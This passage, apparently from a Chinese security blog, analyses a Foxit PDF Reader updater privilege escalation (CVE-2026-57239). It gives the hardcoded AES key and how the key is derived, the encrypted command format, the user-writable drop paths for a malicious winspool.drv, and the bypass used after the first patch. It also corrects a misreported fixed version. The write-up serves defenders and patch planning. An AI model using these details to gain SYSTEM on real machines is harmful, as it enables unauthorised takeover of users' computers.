下，同样在可写范围。它启动时会在同目录里依次尝试加载一批模块。作者反编译后得到的清单包含 RICHED20.DLL、CRYPTSP.dll、USERENV.dll、profapi.dll、RpcRtRemote.dll、apphelp.dll、ntmarta.dll、DEVRTL.dll、credssp.dll、DNSAPI.dll、rasadhlp.dll、schannel.DLL、RASAPI32.dll、rtutils.dll、sensapi.dll、dhcpcsvc.DLL、secur32.dll、ncrypt.dll、bcrypt.dll、GPAPI.dll、cryptnet.dll、dhcpcsvc6.DLL、Cabinet.dll、WindowsCodecs.dll、version.dll、mslso.dll、CRYPTBASE.dll、MSASN1.dll、d3d10warp.dll、netutils.dll 以及两个 Manifest 文件名，合计 32 项。 + +检查逻辑只有两行： + +``` +PathCombineW(dll_path, installer_dir, dll_filename); +if ( PathFileExistsW(dll_path) ) +    break; +``` + + +拼接路径，判断存在，存在就用。这段逻辑对清单内的项成立，对清单外的项不成立。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/zNsFJyIuL0HxpI4huB5DHjpnRlHyY323IuTpIN3ZibibzfsekjedLEV4wxoC7AxwsCgKF1OnUgXMM5Cd0zDjN8ibqicH5p4tibSa4RvyVPZ0fmOs/640?wx_fmt=webp&from=appmsg "") + +问题的关键就在图里看不出来的那一项：**winspool.drv 不在这份清单里，但程序会去同目录找它** +。清单承担的是允许列表的角色，而检查只在允许列表内部生效。允许列表之外还有加载目标，这是本次事件的第一处根因。 + +winspool.drv + 虽然用驱动后缀，实际是标准 PE 文件，加载时会执行 DllMain，因此投放一个同名文件即可在更新器进程内取得代码执行。同批被引用的 oleaccrc.dll + 情况不同，它是资源 DLL，一般以 LOAD_LIBRARY_AS_DATAFILE + 标志加载，只读取资源不执行代码。作者在原文里对两者作了区分，本文照此区分，不把两者并列成同一种攻击面。 + +把 winspool.drv + 与列表里那 29 个 DLL 放在一起看，能看出检查清单是"程序主动列出想加载什么"的白名单，而 Windows 的模块搜索顺序决定了程序还会被动加载一些它没列的东西。白名单覆盖不到被动加载项，这是 427 类缺陷的常见形态。 +### 3.3 指令通道的机密性靠一个字面量 + +FoxitData.txt + 里存的不是明文。服务端解密后才使用其内容。作者反编译出的关键调用是这一行： + +``` +maybe_initialize_key(&encryption_key, "c6c7702dbcbf4678", 0x10u); +``` + + +0x10 + 即十进制的 16，对应 AES-128。整体算法为 AES-128-CBC，初始向量为全零。密钥的取法在作者 PoC 源码注释中写明：把该 16 字符字面量做 Base64 编码后取前 16 字节。 + +这里要把实测值与推断值分开。反编译视图给出的是那个字面量本身与长度参数 0x10 +（实测）；"Base64 编码后取前 16 字节"这一具体取法来自 PoC 源码注释与作者实际跑通的结果（实做验证），不是反编译代码的逐行阅读结论。两条证据互为印证，本文按此表述。 + +解密后的明文是一条以双竖线分隔的键值串，字段为三项： + +``` +sessionid=1||strTempUpdaterPath=<更新器自身路径>||csCommandLine=<要执行的命令行> +``` + + +strTempUpdaterPath + 指向更新器自己的位置，csCommandLine + 是随后要执行的命令行，其中含 -updater +、-type +、-hwnd +、-readerpath +、-regpath +、-version +、-UpdateMode +、-SessionID + 等参数。 + +一个 SYSTEM 服务把自己要启动什么程序的决策依据，放在一个所有用户都能写的文件里，而保护这个文件的机密性只靠一个硬编码在二进制里的十六字符常量。这个常量对任何拿到更新服务可执行文件的人都是可读的。命令行的结构反过来还给了攻击者调节执行参数的抓手，3.5 节的替代路径正是从 -type + 这个参数入手的。 +### 3.4 证书校验挡住的是文件，不是加载路径 + +作者在写下第一版 PoC 之前尝试过最直接的做法：把更新器可执行文件本身换掉。这条路走不通，服务端有两道检查。 + +第一道是文件名检查，限定被执行的更新器文件名，排除直接替换成系统工具的可能。第二道是证书校验，验证目标文件的签名有效性，并且进一步限定不能是任意一张有效证书，需要匹配预期签发方。作者在反编译视图里找到了两处检查的位置，也确认了它们覆盖的范围。 + +两道检查都作用在被执行的 PE 文件上，不作用于该文件将要加载的模块。sideload 投放的 winspool.drv + 不在被校验对象里，因此它在证书校验完好无损的情况下照样加载。这是同一类问题里最常被问到的一点：为什么签名校验有效，攻击仍然成立。原因是校验的是主体文件的签名，而代码执行发生在被加载的模块里。 + +作者顺带留了一句判断：理论上可以用检查与使用之间的时间差构造竞争条件绕过文件检查，但没有往下做。本文把这个分支记为作者的判断，不作为已验证结论。 + +校验边界的划分需要一个明确原则：凡是特权进程会加载的内容，都要纳入同一套信任判定，不能只判定主程序。只判定主程序的结果就是把加载路径整体留在了信任边界之外。 +### 3.5 修补一次，换一条路进来 + +原始路径在 2026 年 3 月 31 日发布的 2026.1.0.36452 里被关闭。作者 4 月 14 日逆向出加解密方案时，才发现 sideload 这条路已经走不通。 + +接下来两天他试了几条思路：竞争条件、机会锁（OpLock，Windows 的一种文件锁机制）、命名管道强制，都没找到能直接利用的点。转机出现在一个不起眼的参数上：用 -type + 参数可以强制更新器弹出一个组件下载对话框。对话框里的链接被点击后，应用会重新尝试加载外部模块。 + +于是链路重新闭合：加密指令让更新器弹出对话框，用户点击链接触发模块重新加载，同目录的恶意模块随之被载入，而这次加载发生在服务以 SYSTEM 身份启动的更新器进程内。修补的是第一扇门，第二扇门一直开着。 + +这也解释了 NVD 的 CPE 区间为什么从 2026.1.0.36452 起算。这个起点不是"漏洞从这里开始"，而是"从这里开始补了一次，但没堵住"。把起点读成引入版本会得出错误的修谱结论。 + +修补后的路径不在检查清单里，攻击面就还在。这类修补的本质是收敛了一个具体入口，没有改变"更新器从用户可写目录加载模块"这个结构性前提。结构不变，替代入口就总有被找到的可能。 +## 四、漏洞触发：从一次写入到 SYSTEM 令牌 +### 4.1 两步动作与一次进程创建 + +整条链的攻击者侧只有两个文件操作动作： +1. 向 %APPDATA%\Foxit Software\Continuous\Addon\Foxit PDF Reader\ + 投放恶意 winspool.drv + +1. 向 C:\ProgramData\Foxit Software\Foxit PDF Reader\FoxitData.txt + 写入用硬编码密钥加密的指令 + +两个位置都在攻击者可写范围内，不需要管理员权限，不需要驱动加载权限，不需要重启。服务读到指令后以 SYSTEM 身份启动更新器，更新器启动时加载同目录的恶意模块，代码在 SYSTEM 上下文中执行。 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/zNsFJyIuL0G1LYR1KNHXB3SL5pymFmYN1icOJMBYOGicGiabNfJdUdlzbNohj1hhz08M3ickFuJ9m06bXCx0Yu4hnQoArxLFwJZGVKVMvGeGBUw/640?wx_fmt=webp&from=appmsg "") + +这张图是整条链最硬的一张证据。进程路径栏是用户自己的 AppData 目录，用户栏是 NT AUTHORITY\SYSTEM +，完整性级别栏是 System，会话标识为 1，启动时间与作者脚本执行时间吻合。一个位于用户可写目录的可执行文件，以最高权限账户被启动，三个字段合起来就说明了全部。 + + +同类事件里常有人争论"用户目录下运行的程序算不算提权"，这张图给出判据：看的不是路径在哪，而是进程的令牌与完整性级别是什么。路径不决定权限，令牌决定权限。 +### 4.2 令牌、环境块与 CreateProcessAsUserW + +服务端为什么要复制别的进程的令牌，作者反编译出的执行逻辑分四步： +1. 枚举进程，找出属于目标会话（sessionid=1 +）的 winlogon.exe + +1. 打开该进程并复制其令牌 + +1. 以该令牌创建环境块，继承标志设为 TRUE + +1. 调用 CreateProcessAsUserW + 创建进程 + +关键调用在反编译视图里长这样： + +``` +CreateProcessAsUserW(process_token_handle_duplicated, 0, lpCommandLine, +                     0, 0, 0, dwCreationFlags, Environment, +                     0, &StartupInfo, &ProcessInformation); +``` + + +同屏还能看到把命令行逐字搬运的循环（v67 += 2 +），即从 ANSI 到 UTF-16 的转换。上一节提到的编码问题就出在这里：服务端按 UTF-16 处理输入，写入方按 ANSI 编码就会静默失败，没有任何报错。 + +作者在原文里顺带记了一笔：环境块继承的是用户会话中 winlogon 进程的令牌，他一度想过能否构造出不需要用户重新登录的变体，但没有验证下去。这一点本文照原样记录，不替他把这个分支补完，公开材料到此为止。 + +使用 CreateProcessAsUserW + 而不是直接 CreateProcessW +，说明服务端是有意把新进程放进目标用户的会话与桌面里的。工程上的用意是让更新界面能正常显示，代价是令牌来源变成了可枚举的 winlogon 进程，而上下文参数最终又来自一个用户可写的文件。用于改善体验的机制与用于隔离权限的机制在这里方向相反，服务端选择了前者。 +### 4.3 UTF-16 这一步的代价 + +作者在原文里用了不小的篇幅讲一个失误：他最初按 ANSI 编码写入十六进制密文，尝试了多种加解密组合都得不到正确结果，直到用 API 监控工具钩住 Foxit PDF Reader 看它实际写入了什么，才发现少了一件事，写入方按 UTF-16LE 编码时每个字符前面都有一个 0x00 + 字节。改用 UTF-16LE 之后一次通过。 + +这一步的代价是他自己说的，花了数小时。对防御方而言这一步有实际含义：**这类私有协议的判读，靠猜编码格式会反复失败，观察真实进程的写入内容是唯一可靠入口** +。反过来，攻击者侧同样如此，这条链的可复现程度依赖作者把这一步踩通。 + +写入格式整体为：明文按 UTF-16 编码，用 AES-128-CBC 加密，密文转成十六进制字符串，再按 UTF-16 编码写入文件。作者在原文中完整给出了加密脚本，本文不复制该实现，只描述算法与参数。 +### 4.4 绕过修补后的第二条加载路径 + +替代路径启用后，更新器会在同目录里重新发起模块查找。作者用进程监控工具记录下了第二轮查找： + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/zNsFJyIuL0HtVzchd4aTRgog6YLhvicibqRVauKuEty2lnG07bico5mf90icnN75XnMllKZ0tFIyztVfibygI02FAbz53auPXo5rbia4xYjqFe2og/640?wx_fmt=webp&from=appmsg "") + +事件流里 FoxitPDFReaderUpdater.exe + 对 PROPSYS.dll +、secur32.dll +、MLANG.dll +、msvcp110_win.dll + 逐一发起打开请求，结果栏多数是 NAME NOT FOUND +，中间还夹着一次返回 BUFFER OVERFLOW + 的查询。查找发生在用户自己的 AppData 目录下，按目录内优先级，投放同名文件即可命中。 + +这张图与前面那张清单图合起来交代了同一件事的两种形态：白名单里没有的目标程序照样会去找，而一旦找到就会用。secur32.dll + 这个文件名同时出现在 Merlon 的检测规则里，说明实际利用时被投放的模块不止 winspool.drv + 一个。 +### 4.5 PoC 的形态与证据边界 + +公开的 PoC 仓库为 Rust 实现，2026 年 7 月 8 日建仓，与补丁同日。命令行提供三个入口： +- check +：判断当前安装的 Foxit PDF Reader 版本是否在受影响范围内 + +- exploit +：执行提权链 + +- cleanup +：清理利用过程中留下的文件 + +两条技术路径以参数选择，分别为 win-spool-sideload + 与 updater-link-sideload +，对应修补前后的两个入口。构建脚本把单独编译的 elevator.dll + 以 include_bytes! + 内嵌进主程序，运行时释放，因此最终交付的是单个可执行文件。仓库未附许可证文件，这一点在合规层面需要注意，本文不引用其源码，也不提供构建产物。 + +第三方漏洞库对该仓库的判定为可用的实际利用而非检测器，理由是它包含可运行的主程序与独立编译的载荷模块。这个判定与仓库内容吻合。 + +证据边界要写清：本次没有源码，也没有补丁差异可读。 +3.3 节的密钥取法、 +4.2 节的令牌流程，全部来自对已编译二进制的反编译与实机行为记录，不属于补丁代码阅读结论。这一句在参考章会再标一次。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/zNsFJyIuL0HrZICdUmoSCw94ISadm0xuyUSu4sW0IopQnCMriaXx5hlqP6pVpYla78aqDXUFyJEpAp7yOibH5SgMCRLibHDPJ2ZGQdW7kjoXUQ/640?wx_fmt=webp&from=appmsg "") +## 五、补丁分析：修复版本号在转述中走样 +### 5.1 官方公告给出的修复版本 + +Foxit 官方公告的标题直接写了版本：Security updates available in Foxit PDF Reader 2026.1.2 and Foxit PDF Editor 2026.1.2 +，发布日期 2026 年 7 月 8 日。同一 CVE 还出现在同日另外两则公告里，分别对应 Foxit PDF Editor 14.0.5 + 与 Foxit PDF Editor 13.2.5 +，三则的漏洞描述段落完全一致，只有受影响版本范围不同。 + +官方版本历史页补上了 build 号与日期，答案为 **2026.1.2.36540** +。三个产品线的修复版本分别是：Reader 升到 2026.1.2，Editor 的 2026.x 线升到 2026.1.2、14.x 线升到 14.0.5、13.x 线升到 13.2.5。 +### 5.2 作者与转述媒体写的 2026.2 + +原文章的处置建议节写的是升级到 **2026.2** +。这个说法被后续转述普遍沿用，可查到的包括 sectoday 的中文报道、securebulletin、hackersradar、一则 LinkedIn 技术帖，以及 Mallory 与 Armis 两家漏洞库的修复建议字段。Armis 还另外把 14.x 线的修复版本写成 14.1，而官方公告写的是 14.0.5。 + +一个版本号在转述链里被替换成另一个，通常不值得单列一节。本次值得，因为两个版本号之间存在 55 天的时间差，而这个差会直接影响处置排期。 +### 5.3 决定性的时间证据 + +判断哪个口径正确，不需要争论，看发布日期即可。 + +Foxit 官方版本历史页显示，2026.2.0.39747 + 的发布日期是 **2026 年 9 月 1 日** +，是当前最新版本，属于功能版本，更新说明里是 AI 助手、工作区、本地模型一类内容。而原文章与全部转述文字出现于 **2026 年 7 月 15 日** +。写作时 2026.2 还不存在。 + +结合受影响版本的上界是 2026.1.1.36485、修复版本是 2026.1.2.36540，结论清楚：**官方一手来源给出的修复版本是 2026.1.2.36540，作者写的 2026.2 是口径偏差。** + +按转述口径处置会怎样：管理员看到文章说升到 2026.2，而 7 月时产品最高只到 2026.1.2，可能判断为"还没有修复版本"而搁置，实际修复版本已经发布并可安装。修复时点从 7 月 8 日被推迟到 9 月 1 日，中间 55 天。转述一个版本号，代价是一台主机多暴露近两个月。 + +版本号这类硬信息必须以官方公告为准。第三方漏洞库与安全媒体的修复建议字段属于转述层，出现偏差是常态，本条记录是可复现的例证。 +### 5.4 同一处加载路径被多方同期发现 + +时间线里有一条容易忽略的巧合。作者 3 月 26 日发现通过 WINSPOOL.DRV + 的 sideload，5 天后即 3 月 31 日，Foxit 发布 2026.1.0.36452，关闭了这条加载路径。 + +官方 4 月 1 日的安全公告给出了该次修补的归属：CVE-2026-3775 +，DLL Hijacking（CWE-427），7.8 分，报告者是 Erik Egsgard（Field Effect，经 TrendAI 零日计划）；以及 CVE-2026-3780 +，Untrusted Search Path（CWE-426），7.3 分，报告者 Kara Zaffarano。两条与作者发现的是同一处加载路径。 + +作者在原文里对自己的运气做了推测：他怀疑是自己在一台联网的干净机器上测试触发了崩溃转储，进入厂商遥测后被识别，导致厂商抢先修补。他把这段话明确标注为个人推测，也说明自己无意向厂商求证。 + +这里要按两个来源并列处理：官方公告把该次修补归属于两位具名报告者；作者的说法是自述推测，且他自己承认无法证实。两条并列写，不裁定谁促成了修补。对防御方的实际含义与归属无关：同一处加载路径在一个月内被三方独立发现，说明它的可见度很高，发现成本不高。 +## 六、结束语 +### 6.1 这一类缺陷的通用结构 + +Foxit 这个案例不是孤例。同一类结构在多个产品的自动更新器上被反复发现，公开的技术资料把它们归在一起：低摩擦的进程间通信面，加上一条以特权身份执行的更新路径。 + +可对照的公开案例有几类形态。一类是命名管道暴露过宽的访问控制与模拟级别，客户端传入的命令标识会映射成不同的模拟级别与完整性标识，改一个数值就让新进程带着完整系统令牌启动。一类是组件对象模型（COM，Windows 的进程间组件调用机制）形式的提权助手，服务端只取用低权限侧计算出的判定结果，判定逻辑放在一个用户态动态库里，改掉这个库就能让它放行任意程序。还有一类是更新或修复流程把临时脚本写进可预测路径并特权执行，用户抢先占用该路径即可替换执行内容。 + +这些案例的共同结构可以概括成一个判断：**当特权进程消费来自低权限侧的数据、判定结果或执行路径时，权限边界就已经从内核挪到了用户可写的文件系统上** +。Foxit 本次是数据与路径两头都落在低权限侧，硬编码密钥只是让这条通路不那么直白，不构成边界。 +## 七、参考 + +``` +https://www.foxit.com/support/security-bulletins.html +https://www.foxitsoftware.com/pdf-reader/version-history.html +https://blog.paradoxis.nl/escalating-all-the-privileges-with-foxit-pdf-reader-cve-2026-57239-582a78b60492 +https://github.com/Paradoxis/CVE-2026-57239 +https://nvd.nist.gov/vuln/detail/CVE-2026-57239 +https://cveawg.mitre.org/api/cve/CVE-2026-57239 +https://github.com/advisories/GHSA-x8h2-84hg-x9j6 +https://mallory.ai/vulnerabilities/CVE-2026-57239 +https://cve.armis.com/CVE-2026-57239 +https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.html +``` + + +**END** + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/zNsFJyIuL0EoTn67Il3Op4AKHE8SsZffR6S4EMOYbh0E6eGbeQicNgKYXpKUcBkPCv6y0gEvLxiazXqMz6rib8AcYKUFpx6AcgvTJsTRaOJibPg/640?wx_fmt=jpeg&from=appmsg "") + + +公众号内容都来自国外等平台- 搜索的内容通过结合编写 -  + + 提供整洁 - 广告已关 + +公众号 |  +AnQuan7 (Ots安全) +